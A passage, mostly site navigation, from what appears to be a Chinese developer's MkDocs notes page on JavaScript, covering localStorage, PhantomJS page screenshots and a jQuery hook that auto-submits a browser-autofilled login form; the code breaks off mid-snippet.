class=\"md-nav__link\">\n    history.replaceState修改历史记录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#checkboxlocalstorage\" class=\"md-nav__link\">\n    记住一个checkbox的状态（用localStorage）\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nodejs\" class=\"md-nav__link\">\n    NodeJS\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"NodeJS\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dockernpm\" class=\"md-nav__link\">\n    用Docker执行npm\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#instantclick\" class=\"md-nav__link\">\n    使用InstantClick踩坑\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用InstantClick踩坑\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    快速使用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#302\" class=\"md-nav__link\">\n    被预加载的页面不能让后端返回302\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    注意默认配置下后端将被频繁请求 频率限制需要放宽\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#instantclick-js\" class=\"md-nav__link\">\n    InstantClick引入一些副作用 对页面js要进行修改\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"InstantClick引入一些副作用 对页面js要进行修改\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#jsreferrer\" class=\"md-nav__link\">\n    js无法取得正确的referrer\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#documentaddeventlistener\" class=\"md-nav__link\">\n    document.addEventListener 重复触发\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    返回上一页重复执行页面添加元素的js 导致元素重复出现\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ready\" class=\"md-nav__link\">\n    页面ready事件不会触发\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#hash\" class=\"md-nav__link\">\n    超链接的#hash定位功能也需要自己实现\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javascriptdom-the-basics-of-dom-manipulation-in-vanilla-javascript\" class=\"md-nav__link\">\n    用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    选择元素\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#class\" class=\"md-nav__link\">\n    修改class和属性\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#css\" class=\"md-nav__link\">\n    修改CSS\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dom\" class=\"md-nav__link\">\n    修改DOM\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    监听事件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    阻止默认行为\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#event-delegation\" class=\"md-nav__link\">\n    Event delegation\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Event delegation\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    动画\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#src\" class=\"md-nav__link\">\n    劫持动态图片加载 修改src属性\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ajaxfetch\" class=\"md-nav__link\">\n    劫持Ajax和fetch\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ajax\" class=\"md-nav__link\">\n    多个Ajax请求等待全部完成\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    等待图片加载完成后 缩小过大的图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#css-inline\" class=\"md-nav__link\">\n    CSS inline模糊预览图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apost-jquery\" class=\"md-nav__link\">\n    a链接改用POST请求 jQuery\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#blob\" class=\"md-nav__link\">\n    创建一个文件下载 Blob\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    爬取微信小程序 朵朵校友圈\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    保持特定元素相对于窗口的位置不变\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tampermonkey\" class=\"md-nav__link\">\n    Tampermonkey自动填充用户名密码表单，并通过前端的表单检查\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#browserifynpmjs\" class=\"md-nav__link\">\n    使用browserify将npm包打包成浏览器能用的js文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntunodejs\" class=\"md-nav__link\">\n    Ubuntu安装nodejs\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#localstorage\" class=\"md-nav__link\">\n    使用localStorage\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#phantomjs\" class=\"md-nav__link\">\n    使用phantomjs爬取网页\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jqueryshow\" class=\"md-nav__link\">\n    jQuery劫持show事件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#get\" class=\"md-nav__link\">\n    读取GET参数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-issue\" class=\"md-nav__link\">\n    使用 Github Issue 作为博客评论区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#historyreplacestate\" class=\"md-nav__link\">\n    history.replaceState修改历史记录\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#checkboxlocalstorage\" class=\"md-nav__link\">\n    记住一个checkbox的状态（用localStorage）\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#nodejs\" class=\"md-nav__link\">\n    NodeJS\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"NodeJS\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dockernpm\" class=\"md-nav__link\">\n    用Docker执行npm\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#instantclick\" class=\"md-nav__link\">\n    使用InstantClick踩坑\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"使用InstantClick踩坑\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    快速使用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#302\" class=\"md-nav__link\">\n    被预加载的页面不能让后端返回302\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    注意默认配置下后端将被频繁请求 频率限制需要放宽\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#instantclick-js\" class=\"md-nav__link\">\n    InstantClick引入一些副作用 对页面js要进行修改\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"InstantClick引入一些副作用 对页面js要进行修改\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#jsreferrer\" class=\"md-nav__link\">\n    js无法取得正确的referrer\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#documentaddeventlistener\" class=\"md-nav__link\">\n    document.addEventListener 重复触发\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#js\" class=\"md-nav__link\">\n    返回上一页重复执行页面添加元素的js 导致元素重复出现\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#ready\" class=\"md-nav__link\">\n    页面ready事件不会触发\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#hash\" class=\"md-nav__link\">\n    超链接的#hash定位功能也需要自己实现\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javascriptdom-the-basics-of-dom-manipulation-in-vanilla-javascript\" class=\"md-nav__link\">\n    用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"用原生Javascript操作DOM节点 The Basics of DOM Manipulation in Vanilla JavaScript\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    选择元素\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#class\" class=\"md-nav__link\">\n    修改class和属性\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#css\" class=\"md-nav__link\">\n    修改CSS\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#dom\" class=\"md-nav__link\">\n    修改DOM\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    监听事件\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    阻止默认行为\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#event-delegation\" class=\"md-nav__link\">\n    Event delegation\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Event delegation\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    动画\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#src\" class=\"md-nav__link\">\n    劫持动态图片加载 修改src属性\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ajaxfetch\" class=\"md-nav__link\">\n    劫持Ajax和fetch\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ajax\" class=\"md-nav__link\">\n    多个Ajax请求等待全部完成\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    等待图片加载完成后 缩小过大的图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#css-inline\" class=\"md-nav__link\">\n    CSS inline模糊预览图片\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apost-jquery\" class=\"md-nav__link\">\n    a链接改用POST请求 jQuery\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#blob\" class=\"md-nav__link\">\n    创建一个文件下载 Blob\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_8\" class=\"md-nav__link\">\n    爬取微信小程序 朵朵校友圈\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_9\" class=\"md-nav__link\">\n    保持特定元素相对于窗口的位置不变\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#tampermonkey\" class=\"md-nav__link\">\n    Tampermonkey自动填充用户名密码表单，并通过前端的表单检查\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#browserifynpmjs\" class=\"md-nav__link\">\n    使用browserify将npm包打包成浏览器能用的js文件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ubuntunodejs\" class=\"md-nav__link\">\n    Ubuntu安装nodejs\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>JavaScript</h1>\n\n<h2 id=\"localstorage\">使用localStorage<a class=\"headerlink\" href=\"#localstorage\" title=\"Permanent link\">&para;</a></h2>\n<p>Cookie存数据影响访问速度(每次请求都需要带上Cookie)，使用localStorage存储有更大容量，还不易丢失</p>\n<p>建议将用户的大段输入随时存储到localStorage中</p>\n<p>高级应用可以是把js等代码文件这样缓存到本地，安全性讨论见<a href=\"https://imququ.com/post/enhance-security-for-ls-code.html\">https://imququ.com/post/enhance-security-for-ls-code.html</a></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"o\">//</span><span class=\"err\">写入</span>\n<span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">storage</span><span class=\"o\">=</span><span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">localStorage</span><span class=\"p\">;</span>\n<span class=\"n\">storage</span><span class=\"p\">[</span><span class=\"s2\">&quot;a&quot;</span><span class=\"p\">]</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"p\">;</span>\n<span class=\"o\">//</span><span class=\"err\">清空</span>\n<span class=\"n\">window</span><span class=\"o\">.</span><span class=\"n\">localStorage</span><span class=\"o\">.</span><span class=\"n\">clear</span><span class=\"p\">();</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"phantomjs\">使用phantomjs爬取网页<a class=\"headerlink\" href=\"#phantomjs\" title=\"Permanent link\">&para;</a></h2>\n<p>有些时候我们用Python的requests并不能很完美地渲染好网页，例如人家用酷炫的js作图了，我就想得到这张图，这时候用phantomjs就好啦</p>\n<p>爬取目标：</p>\n<p><a href=\"http://oncokb.org/#/gene/AKT1\">http://oncokb.org/#/gene/AKT1</a></p>\n<p>这个网页的右边有一张Tumor Types with AKT1 Mutations的图</p>\n<p>代码：</p>\n<p><a href=\"../code/spider.oncokb.js\">code/spider.oncokb.js</a></p>\n<p>代码的细节：</p>\n<ol>\n<li>\n<p>打开页面之前为了截图方便需要先设置浏览器的大小，这里设置为了1920*1080</p>\n</li>\n<li>\n<p>不要一打开页面就截图，而是等到页面加载好了最后一个请求(从Chrome开发人员工具查看最后的请求是啥)后，再等待5s后执行截图、导出HTML并退出</p>\n</li>\n<li>\n<p>为了防止无限等待，设置最长2min后timeout退出</p>\n</li>\n<li>\n<p>为了方便批量化处理，从命令行参数读取需要爬取的基因名称</p>\n</li>\n<li>\n<p>在运行的时候有设置代理和不要载入图片的参数，具体见<a href=\"http://phantomjs.org/api/command-line.html\">官方文档</a></p>\n</li>\n</ol>\n<hr />\n<h2 id=\"jqueryshow\">jQuery劫持show事件<a class=\"headerlink\" href=\"#jqueryshow\" title=\"Permanent link\">&para;</a></h2>\n<p>我的需求：用户登录的div需要点击Login后显示(toggle)，此时浏览器已经自动帮用户填上了用户名和密码，用户需要手动点击登录按钮才会触发登录请求；现在我想加入快速登录功能，在显示登录div后自动提交登录请求，如果为空或密码错误再交给用户输入</p>\n<p>我的解决方案：加入下述扩展jQuery的代码后，对#login绑定beforeShow事件，处理函数先根据全局变量是否存在来判断是否执行过（防止死循环），如果没有执行过则执行登录函数clicklogin并设置全局变量</p>\n<p>效果：如果浏览器自动填入了正确的用户名密码，则用户点击Login后快速闪过登录输入框即完成登录；如果浏览器没有自动填入用户名密码，clicklogin函数直接return，用户没有感知；如果浏览器填入的密码是错的，用户会看到密码错误提示，1s后再次toggle登录的div要求用户输入</p>\n<p>From: http://stackoverflow.com/questions/1225102/jquery-event-to-trigger-action-when-a-div-is-made-visible</p>\n<p>引入jQuery后，修改jQuery自身的show函数以扩展bind：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">jQuery</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"o\">$</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n\n<span class=\"w\">  </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">_oldShow</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">$.</span><span class=\"n\">fn</span><span class=\"o\">.</span><span class=\"n\">show</span><span class=\"p\">;</span>\n\n<span class=\"w\">  </span><span class=\"o\">$.</span><span class=\"n\">fn</span><span class=\"o\">.</span><span class=\"n\">show</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">function</span><span class=\"p\">(</span><span class=\"n\">speed</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"n\">oldCallback</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">each</span><span class=\"p\">(</span><span class=\"n\">function</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">      </span><span class=\"k\">var</span><span class=\"w\"> </span><span class=\"n\">obj</span><span class=\"w\">  </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">this</span><span class=\"p\">),</span>\n<span class=\"w\">   